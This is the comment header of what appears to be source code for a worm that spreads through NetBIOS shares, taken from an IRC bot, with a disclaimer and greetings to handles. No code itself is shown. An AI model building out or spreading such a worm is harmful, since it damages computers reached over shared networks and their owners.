   this is just a simple program to show
   how to make a worm that spreads across
   through netbios shares, this is
   actually a chopped version of 4x10m
   an irc bot i am working on currently
   this code is not meant to be used
   in a malicious manner and the writer
   of this code is not to be held responsible
   for any damage that is a result of the
   use of this code
 
   shouts to:
       strychnine, uniTy, rabbit, m03
       cThReE, aol secrets and #niz2k
